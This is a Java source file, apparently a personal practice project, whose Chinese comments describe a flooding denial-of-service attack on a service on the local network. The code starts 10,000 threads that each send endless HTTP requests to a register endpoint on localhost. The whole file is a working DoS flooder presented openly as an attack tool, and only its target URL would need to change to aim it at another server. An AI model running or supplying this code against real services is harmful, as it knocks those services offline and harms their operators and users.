package DDos; /**
 * @author ChenZS
 * @date 2019-1-28
 */

import java.io.BufferedInputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.*;


/**
 * 利用线程池对局域网内服务进行DOS攻击(就是人多,打你你也得挺着)
 * 创建虚拟URL链接请求,并利用大量线程访问,占用带宽 (泛洪攻击)
 * 1.创建线程池(newFixedThreadPool)固定数量或随意(newCachedThreadPool)
 * 2.实例化线程(Thread)
 * - 2.1 重写run
 * - 2.2 实例化 URL(java.net.URL) 与 URLConnection (同 .net 包下)
 * - 2.3 读流的字节 有响应就有效(http挂上了)
 */
public class ByExecutorsDoneDOS {

    private static final Integer COUNT = 10000;
    private static final String URL = "http://127.0.0.1:20001/register";

    public static void main(String[] args) throws Exception {
        System.out.println("开始");
//        ExecutorService executorService = Executors.newCachedThreadPool();  //温和无刺激
        ExecutorService executorService = Executors.newFixedThreadPool(COUNT); //劲爽紧肤型
/*
        Thread th1 = new Thread( () ->{
            while (true) {
                try {
                    Thread.sleep(5 * 1000);
                    System.out.println("召唤GC  ---------->");
                    Runtime.getRuntime().gc();
                } catch (InterruptedException e) {
                }
            }
        });
        th1.start();
        */
        for (int i = 0; i < COUNT; i++) {
            executorService.execute(new Thread(() -> {
                for (; ; ) {
                    try {
                        URL url = new URL(URL);
                        URLConnection conn = url.openConnection();
                        BufferedInputStream bis = new BufferedInputStream(
                                conn.getInputStream());

                        if (bis != null)
                            if (bis.read() != -1)
                                bis.close();
                    } catch (Exception e) {
                        System.out.println("--------------------------------like a error !--------------------------------->  ");
                    }
                }
            }));
        }
    }
}


